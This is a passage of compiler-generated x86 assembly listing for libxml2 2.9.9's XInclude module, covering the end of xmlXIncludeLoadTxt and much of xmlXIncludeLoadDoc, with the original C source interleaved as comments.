; 1947 : xmlFree(URL);
mov esi, esp
mov ecx, DWORD PTR _URL$[ebp]
push ecx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
; 1948 : return(0);
xor eax, eax
$LN1@xmlXInclud:
; 1949 : }
push edx
mov ecx, ebp
push eax
lea edx, DWORD PTR $LN38@xmlXInclud
call @_RTC_CheckStackVars@8
pop eax
pop edx
pop edi
pop esi
add esp, 76 ; 0000004cH
cmp ebp, esp
call __RTC_CheckEsp
mov esp, ebp
pop ebp
ret 0
$LN38@xmlXInclud:
DD 1
DD $LN37@xmlXInclud
$LN37@xmlXInclud:
DD -60 ; ffffffc4H
DD 4
DD $LN36@xmlXInclud
$LN36@xmlXInclud:
DB 108 ; 0000006cH
DB 0
_xmlXIncludeLoadTxt ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xinclude.c
; COMDAT _xmlXIncludeLoadDoc
_TEXT SEGMENT
tv346 = -64 ; size = 4
tv311 = -60 ; size = 4
_relBase$1 = -56 ; size = 4
_xmlBase$2 = -52 ; size = 4
_curBase$3 = -48 ; size = 4
_base$4 = -44 ; size = 4
_node$5 = -40 ; size = 4
_set$6 = -36 ; size = 4
_xptrctxt$7 = -32 ; size = 4
_xptr$8 = -28 ; size = 4
_saveFlags$ = -24 ; size = 4
_i$ = -20 ; size = 4
_fragment$ = -16 ; size = 4
_URL$ = -12 ; size = 4
_uri$ = -8 ; size = 4
_doc$ = -4 ; size = 4
_ctxt$ = 8 ; size = 4
_url$ = 12 ; size = 4
_nr$ = 16 ; size = 4
_xmlXIncludeLoadDoc PROC ; COMDAT
; 1404 : xmlXIncludeLoadDoc(xmlXIncludeCtxtPtr ctxt, const xmlChar *url, int nr) {
push ebp
mov ebp, esp
sub esp, 64 ; 00000040H
push esi
push edi
lea edi, DWORD PTR [ebp-64]
mov ecx, 16 ; 00000010H
mov eax, -858993460 ; ccccccccH
rep stosd
mov ecx, OFFSET __07371726_xinclude@c
call @__CheckForDebuggerJustMyCode@4
; 1405 : xmlDocPtr doc;
; 1406 : xmlURIPtr uri;
; 1407 : xmlChar *URL;
; 1408 : xmlChar *fragment = NULL;
mov DWORD PTR _fragment$[ebp], 0
; 1409 : int i = 0;
mov DWORD PTR _i$[ebp], 0
; 1410 : #ifdef LIBXML_XPTR_ENABLED
; 1411 : int saveFlags;
; 1412 : #endif
; 1413 :
; 1414 : #ifdef DEBUG_XINCLUDE
; 1415 : xmlGenericError(xmlGenericErrorContext, "Loading doc %s:%d\n", url, nr);
; 1416 : #endif
; 1417 : /*
; 1418 : * Check the URL and remove any fragment identifier
; 1419 : */
; 1420 : uri = xmlParseURI((const char *)url);
mov eax, DWORD PTR _url$[ebp]
push eax
call _xmlParseURI
add esp, 4
mov DWORD PTR _uri$[ebp], eax
; 1421 : if (uri == NULL) {
cmp DWORD PTR _uri$[ebp], 0
jne SHORT $LN17@xmlXInclud
; 1422 : xmlXIncludeErr(ctxt, ctxt->incTab[nr]->ref,
mov ecx, DWORD PTR _url$[ebp]
push ecx
push OFFSET ??_C@_0BG@NNKFOBEI@invalid?5value?5URI?5?$CFs?6@
push 1605 ; 00000645H
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx+16]
mov ecx, DWORD PTR _nr$[ebp]
mov edx, DWORD PTR [eax+ecx*4]
mov eax, DWORD PTR [edx+12]
push eax
mov ecx, DWORD PTR _ctxt$[ebp]
push ecx
call _xmlXIncludeErr
add esp, 20 ; 00000014H
; 1423 : XML_XINCLUDE_HREF_URI,
; 1424 : "invalid value URI %s\n", url);
; 1425 : return(-1);
or eax, -1
jmp $LN1@xmlXInclud
$LN17@xmlXInclud:
; 1426 : }
; 1427 : if (uri->fragment != NULL) {
mov edx, DWORD PTR _uri$[ebp]
cmp DWORD PTR [edx+32], 0
je SHORT $LN18@xmlXInclud
; 1428 : fragment = (xmlChar *) uri->fragment;
mov eax, DWORD PTR _uri$[ebp]
mov ecx, DWORD PTR [eax+32]
mov DWORD PTR _fragment$[ebp], ecx
; 1429 : uri->fragment = NULL;
mov edx, DWORD PTR _uri$[ebp]
mov DWORD PTR [edx+32], 0
$LN18@xmlXInclud:
; 1430 : }
; 1431 : if ((ctxt->incTab != NULL) && (ctxt->incTab[nr] != NULL) &&
mov eax, DWORD PTR _ctxt$[ebp]
cmp DWORD PTR [eax+16], 0
je SHORT $LN19@xmlXInclud
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR [ecx+16]
mov eax, DWORD PTR _nr$[ebp]
cmp DWORD PTR [edx+eax*4], 0
je SHORT $LN19@xmlXInclud
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR [ecx+16]
mov eax, DWORD PTR _nr$[ebp]
mov ecx, DWORD PTR [edx+eax*4]
cmp DWORD PTR [ecx+4], 0
je SHORT $LN19@xmlXInclud
; 1432 : (ctxt->incTab[nr]->fragment != NULL)) {
; 1433 : if (fragment != NULL) xmlFree(fragment);
cmp DWORD PTR _fragment$[ebp], 0
je SHORT $LN20@xmlXInclud
mov esi, esp
mov edx, DWORD PTR _fragment$[ebp]
push edx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
$LN20@xmlXInclud:
; 1434 : fragment = xmlStrdup(ctxt->incTab[nr]->fragment);
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR [eax+16]
mov edx, DWORD PTR _nr$[ebp]
mov eax, DWORD PTR [ecx+edx*4]
mov ecx, DWORD PTR [eax+4]
push ecx
call _xmlStrdup
add esp, 4
mov DWORD PTR _fragment$[ebp], eax
$LN19@xmlXInclud:
; 1435 : }
; 1436 : URL = xmlSaveUri(uri);
mov edx, DWORD PTR _uri$[ebp]
push edx
call _xmlSaveUri
add esp, 4
mov DWORD PTR _URL$[ebp], eax
; 1437 : xmlFreeURI(uri);
mov eax, DWORD PTR _uri$[ebp]
push eax
call _xmlFreeURI
add esp, 4
; 1438 : if (URL == NULL) {
cmp DWORD PTR _URL$[ebp], 0
jne SHORT $LN21@xmlXInclud
; 1439 : if (ctxt->incTab != NULL)
mov ecx, DWORD PTR _ctxt$[ebp]
cmp DWORD PTR [ecx+16], 0
je SHORT $LN22@xmlXInclud
; 1440 : xmlXIncludeErr(ctxt, ctxt->incTab[nr]->ref,
mov edx, DWORD PTR _url$[ebp]
push edx
push OFFSET ??_C@_0BG@NNKFOBEI@invalid?5value?5URI?5?$CFs?6@
push 1605 ; 00000645H
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR [eax+16]
mov edx, DWORD PTR _nr$[ebp]
mov eax, DWORD PTR [ecx+edx*4]
mov ecx, DWORD PTR [eax+12]
push ecx
mov edx, DWORD PTR _ctxt$[ebp]
push edx
call _xmlXIncludeErr
add esp, 20 ; 00000014H
jmp SHORT $LN23@xmlXInclud
$LN22@xmlXInclud:
; 1441 : XML_XINCLUDE_HREF_URI,
; 1442 : "invalid value URI %s\n", url);
; 1443 : else
; 1444 : xmlXIncludeErr(ctxt, NULL,
mov eax, DWORD PTR _url$[ebp]
push eax
push OFFSET ??_C@_0BG@NNKFOBEI@invalid?5value?5URI?5?$CFs?6@
push 1605 ; 00000645H
push 0
mov ecx, DWORD PTR _ctxt$[ebp]
push ecx
call _xmlXIncludeErr
add esp, 20 ; 00000014H
$LN23@xmlXInclud:
; 1445 : XML_XINCLUDE_HREF_URI,
; 1446 : "invalid value URI %s\n", url);
; 1447 : if (fragment != NULL)
cmp DWORD PTR _fragment$[ebp], 0
je SHORT $LN24@xmlXInclud
; 1448 : xmlFree(fragment);
mov esi, esp
mov edx, DWORD PTR _fragment$[ebp]
push edx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
$LN24@xmlXInclud:
; 1449 : return(-1);
or eax, -1
jmp $LN1@xmlXInclud
$LN21@xmlXInclud:
; 1450 : }
; 1451 :
; 1452 : /*
; 1453 : * Handling of references to the local document are done
; 1454 : * directly through ctxt->doc.
; 1455 : */
; 1456 : if ((URL[0] == 0) || (URL[0] == '#') ||
mov eax, 1
imul ecx, eax, 0
mov edx, DWORD PTR _URL$[ebp]
movzx eax, BYTE PTR [edx+ecx]
test eax, eax
je SHORT $LN26@xmlXInclud
mov ecx, 1
imul edx, ecx, 0
mov eax, DWORD PTR _URL$[ebp]
movzx ecx, BYTE PTR [eax+edx]
cmp ecx, 35 ; 00000023H
je SHORT $LN26@xmlXInclud
mov edx, DWORD PTR _ctxt$[ebp]
cmp DWORD PTR [edx], 0
je SHORT $LN25@xmlXInclud
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR [eax]
mov edx, DWORD PTR [ecx+72]
push edx
mov eax, DWORD PTR _URL$[ebp]
push eax
call _xmlStrEqual
add esp, 8
test eax, eax
je SHORT $LN25@xmlXInclud
$LN26@xmlXInclud:
; 1457 : ((ctxt->doc != NULL) && (xmlStrEqual(URL, ctxt->doc->URL)))) {
; 1458 : doc = NULL;
mov DWORD PTR _doc$[ebp], 0
; 1459 : goto loaded;
jmp $loaded$75
$LN25@xmlXInclud:
; 1460 : }
; 1461 :
; 1462 : /*
; 1463 : * Prevent reloading twice the document.
; 1464 : */
; 1465 : for (i = 0; i < ctxt->incNr; i++) {
mov DWORD PTR _i$[ebp], 0
jmp SHORT $LN4@xmlXInclud
$LN2@xmlXInclud:
mov ecx, DWORD PTR _i$[ebp]
add ecx, 1
mov DWORD PTR _i$[ebp], ecx
$LN4@xmlXInclud:
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR _i$[ebp]
cmp eax, DWORD PTR [edx+8]
jge SHORT $LN3@xmlXInclud
; 1466 : if ((xmlStrEqual(URL, ctxt->incTab[i]->URI)) &&
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR [ecx+16]
mov eax, DWORD PTR _i$[ebp]
mov ecx, DWORD PTR [edx+eax*4]
mov edx, DWORD PTR [ecx]
push edx
mov eax, DWORD PTR _URL$[ebp]
push eax
call _xmlStrEqual
add esp, 8
test eax, eax
je SHORT $LN27@xmlXInclud
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR [ecx+16]
mov eax, DWORD PTR _i$[ebp]
mov ecx, DWORD PTR [edx+eax*4]
cmp DWORD PTR [ecx+8], 0
je SHORT $LN27@xmlXInclud
; 1467 : (ctxt->incTab[i]->doc != NULL)) {
; 1468 : doc = ctxt->incTab[i]->doc;
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx+16]
mov ecx, DWORD PTR _i$[ebp]
mov edx, DWORD PTR [eax+ecx*4]
mov eax, DWORD PTR [edx+8]
mov DWORD PTR _doc$[ebp], eax
; 1469 : #ifdef DEBUG_XINCLUDE
; 1470 : printf("Already loaded %s\n", URL);
; 1471 : #endif
; 1472 : goto loaded;
jmp $loaded$75
$LN27@xmlXInclud:
; 1473 : }
; 1474 : }
jmp SHORT $LN2@xmlXInclud
$LN3@xmlXInclud:
; 1475 :
; 1476 : /*
; 1477 : * Load it.
; 1478 : */
; 1479 : #ifdef DEBUG_XINCLUDE
; 1480 : printf("loading %s\n", URL);
; 1481 : #endif
; 1482 : #ifdef LIBXML_XPTR_ENABLED
; 1483 : /*
; 1484 : * If this is an XPointer evaluation, we want to assure that
; 1485 : * all entities have been resolved prior to processing the
; 1486 : * referenced document
; 1487 : */
; 1488 : saveFlags = ctxt->parseFlags;
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR [ecx+60]
mov DWORD PTR _saveFlags$[ebp], edx
; 1489 : if (fragment != NULL) { /* if this is an XPointer eval */
cmp DWORD PTR _fragment$[ebp], 0
je SHORT $LN28@xmlXInclud
; 1490 : ctxt->parseFlags |= XML_PARSE_NOENT;
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR [eax+60]
or ecx, 2
mov edx, DWORD PTR _ctxt$[ebp]
mov DWORD PTR [edx+60], ecx
$LN28@xmlXInclud:
; 1491 : }
; 1492 : #endif
; 1493 :
; 1494 : doc = xmlXIncludeParseFile(ctxt, (const char *)URL);
mov eax, DWORD PTR _URL$[ebp]
push eax
mov ecx, DWORD PTR _ctxt$[ebp]
push ecx
call _xmlXIncludeParseFile
add esp, 8
mov DWORD PTR _doc$[ebp], eax
; 1495 : #ifdef LIBXML_XPTR_ENABLED
; 1496 : ctxt->parseFlags = saveFlags;
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR _saveFlags$[ebp]
mov DWORD PTR [edx+60], eax
; 1497 : #endif
; 1498 : if (doc == NULL) {
cmp DWORD PTR _doc$[ebp], 0
jne SHORT $LN29@xmlXInclud
; 1499 : xmlFree(URL);
mov esi, esp
mov ecx, DWORD PTR _URL$[ebp]
push ecx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
; 1500 : if (fragment != NULL)
cmp DWORD PTR _fragment$[ebp], 0
je SHORT $LN30@xmlXInclud
; 1501 : xmlFree(fragment);
mov esi, esp
mov edx, DWORD PTR _fragment$[ebp]
push edx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
$LN30@xmlXInclud:
; 1502 : return(-1);
or eax, -1
jmp $LN1@xmlXInclud
$LN29@xmlXInclud:
; 1503 : }
; 1504 : ctxt->incTab[nr]->doc = doc;
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR [eax+16]
mov edx, DWORD PTR _nr$[ebp]
mov eax, DWORD PTR [ecx+edx*4]
mov ecx, DWORD PTR _doc$[ebp]
mov DWORD PTR [eax+8], ecx
; 1505 : /*
; 1506 : * It's possible that the requested URL has been mapped to a
; 1507 : * completely different location (e.g. through a catalog entry).
; 1508 : * To check for this, we compare the URL with that of the doc
; 1509 : * and change it if they disagree (bug 146988).
; 1510 : */
; 1511 : if (!xmlStrEqual(URL, doc->URL)) {
mov edx, DWORD PTR _doc$[ebp]
mov eax, DWORD PTR [edx+72]
push eax
mov ecx, DWORD PTR _URL$[ebp]
push ecx
call _xmlStrEqual
add esp, 8
test eax, eax
jne SHORT $LN31@xmlXInclud
; 1512 : xmlFree(URL);
mov esi, esp
mov edx, DWORD PTR _URL$[ebp]
push edx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
; 1513 : URL = xmlStrdup(doc->URL);
mov eax, DWORD PTR _doc$[ebp]
mov ecx, DWORD PTR [eax+72]
push ecx
call _xmlStrdup
add esp, 4
mov DWORD PTR _URL$[ebp], eax
$LN31@xmlXInclud:
; 1514 : }
; 1515 : for (i = nr + 1; i < ctxt->incNr; i++) {
mov edx, DWORD PTR _nr$[ebp]
add edx, 1
mov DWORD PTR _i$[ebp], edx
jmp SHORT $LN7@xmlXInclud
$LN5@xmlXInclud:
mov eax, DWORD PTR _i$[ebp]
add eax, 1
mov DWORD PTR _i$[ebp], eax
$LN7@xmlXInclud:
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR _i$[ebp]
cmp edx, DWORD PTR [ecx+8]
jge SHORT $LN6@xmlXInclud
; 1516 : if (xmlStrEqual(URL, ctxt->incTab[i]->URI)) {
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR [eax+16]
mov edx, DWORD PTR _i$[ebp]
mov eax, DWORD PTR [ecx+edx*4]
mov ecx, DWORD PTR [eax]
push ecx
mov edx, DWORD PTR _URL$[ebp]
push edx
call _xmlStrEqual
add esp, 8
test eax, eax
je SHORT $LN32@xmlXInclud
; 1517 : ctxt->incTab[nr]->count++;
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR [eax+16]
mov edx, DWORD PTR _nr$[ebp]
mov eax, DWORD PTR [ecx+edx*4]
mov ecx, DWORD PTR [eax+24]
add ecx, 1
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx+16]
mov edx, DWORD PTR _nr$[ebp]
mov eax, DWORD PTR [eax+edx*4]
mov DWORD PTR [eax+24], ecx
; 1518 : #ifdef DEBUG_XINCLUDE
; 1519 : printf("Increasing %s count since reused\n", URL);
; 1520 : #endif
; 1521 : break;
jmp SHORT $LN6@xmlXInclud
$LN32@xmlXInclud:
; 1522 : }
; 1523 : }
jmp SHORT $LN5@xmlXInclud
$LN6@xmlXInclud:
; 1524 :
; 1525 : /*
; 1526 : * Make sure we have all entities fixed up
; 1527 : */
; 1528 : xmlXIncludeMergeEntities(ctxt, ctxt->doc, doc);
mov ecx, DWORD PTR _doc$[ebp]
push ecx
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx]
push eax
mov ecx, DWORD PTR _ctxt$[ebp]
push ecx
call _xmlXIncludeMergeEntities
add esp, 12 ; 0000000cH
; 1529 :
; 1530 : /*
; 1531 : * We don't need the DTD anymore, free up space
; 1532 : if (doc->intSubset != NULL) {
; 1533 : xmlUnlinkNode((xmlNodePtr) doc->intSubset);
; 1534 : xmlFreeNode((xmlNodePtr) doc->intSubset);
; 1535 : doc->intSubset = NULL;
; 1536 : }
; 1537 : if (doc->extSubset != NULL) {
; 1538 : xmlUnlinkNode((xmlNodePtr) doc->extSubset);
; 1539 : xmlFreeNode((xmlNodePtr) doc->extSubset);
; 1540 : doc->extSubset = NULL;
; 1541 : }
; 1542 : */
; 1543 : xmlXIncludeRecurseDoc(ctxt, doc, URL);
mov edx, DWORD PTR _URL$[ebp]
push edx
mov eax, DWORD PTR _doc$[ebp]
push eax
mov ecx, DWORD PTR _ctxt$[ebp]
push ecx
call _xmlXIncludeRecurseDoc
add esp, 12 ; 0000000cH
$loaded$75:
; 1544 :
; 1545 : loaded:
; 1546 : if (fragment == NULL) {
cmp DWORD PTR _fragment$[ebp], 0
jne SHORT $LN33@xmlXInclud
; 1547 : /*
; 1548 : * Add the top children list as the replacement copy.
; 1549 : */
; 1550 : if (doc == NULL)
cmp DWORD PTR _doc$[ebp], 0
jne SHORT $LN35@xmlXInclud
; 1551 : {
; 1552 : /* Hopefully a DTD declaration won't be copied from
; 1553 : * the same document */
; 1554 : ctxt->incTab[nr]->inc = xmlCopyNodeList(ctxt->doc->children);
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx]
mov ecx, DWORD PTR [eax+12]
push ecx
call _xmlCopyNodeList
add esp, 4
mov edx, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR [edx+16]
mov edx, DWORD PTR _nr$[ebp]
mov ecx, DWORD PTR [ecx+edx*4]
mov DWORD PTR [ecx+16], eax
; 1555 : } else {
jmp SHORT $LN36@xmlXInclud
$LN35@xmlXInclud:
; 1556 : ctxt->incTab[nr]->inc = xmlXIncludeCopyNodeList(ctxt, ctxt->doc,
mov edx, DWORD PTR _doc$[ebp]
mov eax, DWORD PTR [edx+12]
push eax
mov ecx, DWORD PTR _doc$[ebp]
push ecx
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx]
push eax
mov ecx, DWORD PTR _ctxt$[ebp]
push ecx
call _xmlXIncludeCopyNodeList
add esp, 16 ; 00000010H
mov edx, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR [edx+16]
mov edx, DWORD PTR _nr$[ebp]
mov ecx, DWORD PTR [ecx+edx*4]
mov DWORD PTR [ecx+16], eax
$LN36@xmlXInclud:
; 1557 : doc, doc->children);
; 1558 : }
; 1559 : }
jmp $LN34@xmlXInclud
$LN33@xmlXInclud:
; 1560 : #ifdef LIBXML_XPTR_ENABLED
; 1561 : else {
; 1562 : /*
; 1563 : * Computes the XPointer expression and make a copy used
; 1564 : * as the replacement copy.
; 1565 : */
; 1566 : xmlXPathObjectPtr xptr;
; 1567 : xmlXPathContextPtr xptrctxt;
; 1568 : xmlNodeSetPtr set;
; 1569 :
; 1570 : if (doc == NULL) {
cmp DWORD PTR _doc$[ebp], 0
jne SHORT $LN37@xmlXInclud
; 1571 : xptrctxt = xmlXPtrNewContext(ctxt->doc, ctxt->incTab[nr]->ref,
push 0
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx+16]
mov ecx, DWORD PTR _nr$[ebp]
mov edx, DWORD PTR [eax+ecx*4]
mov eax, DWORD PTR [edx+12]
push eax
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR [ecx]
push edx
call _xmlXPtrNewContext
add esp, 12 ; 0000000cH
mov DWORD PTR _xptrctxt$7[ebp], eax
; 1572 : NULL);
; 1573 : } else {
jmp SHORT $LN38@xmlXInclud
$LN37@xmlXInclud:
; 1574 : xptrctxt = xmlXPtrNewContext(doc, NULL, NULL);
push 0
push 0
mov eax, DWORD PTR _doc$[ebp]
push eax
call _xmlXPtrNewContext
add esp, 12 ; 0000000cH
mov DWORD PTR _xptrctxt$7[ebp], eax
$LN38@xmlXInclud:
; 1575 : }
; 1576 : if (xptrctxt == NULL) {
cmp DWORD PTR _xptrctxt$7[ebp], 0
jne SHORT $LN39@xmlXInclud
; 1577 : xmlXIncludeErr(ctxt, ctxt->incTab[nr]->ref,
push 0
push OFFSET ??_C@_0CD@PEMEOEGM@could?5not?5create?5XPointer?5conte@
push 1612 ; 0000064cH
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR [ecx+16]
mov eax, DWORD PTR _nr$[ebp]
mov ecx, DWORD PTR [edx+eax*4]
mov edx, DWORD PTR [ecx+12]
push edx
mov eax, DWORD PTR _ctxt$[ebp]
push eax
call _xmlXIncludeErr
add esp, 20 ; 00000014H
; 1578 : XML_XINCLUDE_XPTR_FAILED,
; 1579 : "could not create XPointer context\n", NULL);
; 1580 : xmlFree(URL);
mov esi, esp
mov ecx, DWORD PTR _URL$[ebp]
push ecx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
; 1581 : xmlFree(fragment);
mov esi, esp
mov edx, DWORD PTR _fragment$[ebp]
push edx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
; 1582 : return(-1);
or eax, -1
jmp $LN1@xmlXInclud
$LN39@xmlXInclud:
; 1583 : }
; 1584 : xptr = xmlXPtrEval(fragment, xptrctxt);
mov eax, DWORD PTR _xptrctxt$7[ebp]
push eax
mov ecx, DWORD PTR _fragment$[ebp]
push ecx
call _xmlXPtrEval
add esp, 8
mov DWORD PTR _xptr$8[ebp], eax
; 1585 : if (xptr == NULL) {
cmp DWORD PTR _xptr$8[ebp], 0
jne SHORT $LN40@xmlXInclud
; 1586 : xmlXIncludeErr(ctxt, ctxt->incTab[nr]->ref,
mov edx, DWORD PTR _fragment$[ebp]
push edx
push OFFSET ??_C@_0CB@CBJIEBBP@XPointer?5evaluation?5failed?3?5?$CD?$CFs@
push 1612 ; 0000064cH
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR [eax+16]
mov edx, DWORD PTR _nr$[ebp]
mov eax, DWORD PTR [ecx+edx*4]
mov ecx, DWORD PTR [eax+12]
push ecx
mov edx, DWORD PTR _ctxt$[ebp]
push edx
call _xmlXIncludeErr
add esp, 20 ; 00000014H
; 1587 : XML_XINCLUDE_XPTR_FAILED,
; 1588 : "XPointer evaluation failed: #%s\n",
; 1589 : fragment);
; 1590 : xmlXPathFreeContext(xptrctxt);
mov eax, DWORD PTR _xptrctxt$7[ebp]
push eax
call _xmlXPathFreeContext
add esp, 4
; 1591 : xmlFree(URL);
mov esi, esp
mov ecx, DWORD PTR _URL$[ebp]
push ecx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
; 1592 : xmlFree(fragment);
mov esi, esp
mov edx, DWORD PTR _fragment$[ebp]
push edx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
; 1593 : return(-1);
or eax, -1
jmp $LN1@xmlXInclud
$LN40@xmlXInclud:
; 1594 : }
; 1595 : switch (xptr->type) {
mov eax, DWORD PTR _xptr$8[ebp]
mov ecx, DWORD PTR [eax]
mov DWORD PTR tv311[ebp], ecx
cmp DWORD PTR tv311[ebp], 9
ja $LN8@xmlXInclud
mov edx, DWORD PTR tv311[ebp]
movzx eax, BYTE PTR $LN71@xmlXInclud[edx]
jmp DWORD PTR $LN73@xmlXInclud[eax*4]
$LN41@xmlXInclud:
; 1596 : case XPATH_UNDEFINED:
; 1597 : case XPATH_BOOLEAN:
; 1598 : case XPATH_NUMBER:
; 1599 : case XPATH_STRING:
; 1600 : case XPATH_POINT:
; 1601 : case XPATH_USERS:
; 1602 : case XPATH_XSLT_TREE:
; 1603 : xmlXIncludeErr(ctxt, ctxt->incTab[nr]->ref,
mov ecx, DWORD PTR _fragment$[ebp]
push ecx
push OFFSET ??_C@_0BO@BAOAOILH@XPointer?5is?5not?5a?5range?3?5?$CD?$CFs?6@
push 1613 ; 0000064dH
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx+16]
mov ecx, DWORD PTR _nr$[ebp]
mov edx, DWORD PTR [eax+ecx*4]
mov eax, DWORD PTR [edx+12]
push eax
mov ecx, DWORD PTR _ctxt$[ebp]
push ecx
call _xmlXIncludeErr
add esp, 20 ; 00000014H
; 1604 : XML_XINCLUDE_XPTR_RESULT,
; 1605 : "XPointer is not a range: #%s\n",
; 1606 : fragment);
; 1607 : xmlXPathFreeContext(xptrctxt);
mov edx, DWORD PTR _xptrctxt$7[ebp]
push edx
call _xmlXPathFreeContext
add esp, 4
; 1608 : xmlFree(URL);
mov esi, esp
mov eax, DWORD PTR _URL$[ebp]
push eax
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
; 1609 : xmlFree(fragment);
mov esi, esp
mov ecx, DWORD PTR _fragment$[ebp]
push ecx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
; 1610 : return(-1);
or eax, -1
jmp $LN1@xmlXInclud
$LN42@xmlXInclud:
; 1611 : case XPATH_NODESET:
; 1612 : if ((xptr->nodesetval == NULL) ||
mov edx, DWORD PTR _xptr$8[ebp]
cmp DWORD PTR [edx+4], 0
je SHORT $LN44@xmlXInclud
mov eax, DWORD PTR _xptr$8[ebp]
mov ecx, DWORD PTR [eax+4]
cmp DWORD PTR [ecx], 0
jg SHORT $LN8@xmlXInclud
$LN44@xmlXInclud:
; 1613 : (xptr->nodesetval->nodeNr <= 0)) {
; 1614 : xmlXPathFreeContext(xptrctxt);
mov edx, DWORD PTR _xptrctxt$7[ebp]
push edx
call _xmlXPathFreeContext
add esp, 4
; 1615 : xmlFree(URL);
mov esi, esp
mov eax, DWORD PTR _URL$[ebp]
push eax
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
; 1616 : xmlFree(fragment);
mov esi, esp
mov ecx, DWORD PTR _fragment$[ebp]
push ecx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
; 1617 : return(-1);
or eax, -1
jmp $LN1@xmlXInclud
$LN8@xmlXInclud:
; 1618 : }
; 1619 :
; 1620 : case XPATH_RANGE:
; 1621 : case XPATH_LOCATIONSET:
; 1622 : break;
; 1623 : }
; 1624 : set = xptr->nodesetval;
mov edx, DWORD PTR _xptr$8[ebp]
mov eax, DWORD PTR [edx+4]
mov DWORD PTR _set$6[ebp], eax
; 1625 : if (set != NULL) {
cmp DWORD PTR _set$6[ebp], 0
je $LN46@xmlXInclud
; 1626 : for (i = 0;i < set->nodeNr;i++) {
mov DWORD PTR _i$[ebp], 0
jmp SHORT $LN12@xmlXInclud
$LN10@xmlXInclud:
mov ecx, DWORD PTR _i$[ebp]
add ecx, 1
mov DWORD PTR _i$[ebp], ecx
$LN12@xmlXInclud:
mov edx, DWORD PTR _set$6[ebp]
mov eax, DWORD PTR _i$[ebp]
cmp eax, DWORD PTR [edx]
jge $LN46@xmlXInclud
; 1627 : if (set->nodeTab[i] == NULL)
mov ecx, DWORD PTR _set$6[ebp]
mov edx, DWORD PTR [ecx+8]
mov eax, DWORD PTR _i$[ebp]
cmp DWORD PTR [edx+eax*4], 0
jne SHORT $LN47@xmlXInclud
; 1628 : continue;
jmp SHORT $LN10@xmlXInclud
$LN47@xmlXInclud:
; 1629 : switch (set->nodeTab[i]->type) {
mov ecx, DWORD PTR _set$6[ebp]
mov edx, DWORD PTR [ecx+8]
mov eax, DWORD PTR _i$[ebp]
mov ecx, DWORD PTR [edx+eax*4]
mov edx, DWORD PTR [ecx+4]
mov DWORD PTR tv346[ebp], edx
mov eax, DWORD PTR tv346[ebp]
sub eax, 1
mov DWORD PTR tv346[ebp], eax
cmp DWORD PTR tv346[ebp], 20 ; 00000014H
ja $LN13@xmlXInclud
mov ecx, DWORD PTR tv346[ebp]
movzx edx, BYTE PTR $LN72@xmlXInclud[ecx]
jmp DWORD PTR $LN74@xmlXInclud[edx*4]
$LN48@xmlXInclud:
; 1630 : case XML_ELEMENT_NODE:
; 1631 : case XML_TEXT_NODE:
; 1632 : case XML_CDATA_SECTION_NODE:
; 1633 : case XML_ENTITY_REF_NODE:
; 1634 : case XML_ENTITY_NODE:
; 1635 : case XML_PI_NODE:
; 1636 : case XML_COMMENT_NODE:
; 1637 : case XML_DOCUMENT_NODE:
; 1638 : case XML_HTML_DOCUMENT_NODE:
; 1639 : #ifdef LIBXML_DOCB_ENABLED
; 1640 : case XML_DOCB_DOCUMENT_NODE:
; 1641 : #endif
; 1642 : continue;
jmp SHORT $LN10@xmlXInclud
$LN49@xmlXInclud:
; 1643 :
; 1644 : case XML_ATTRIBUTE_NODE:
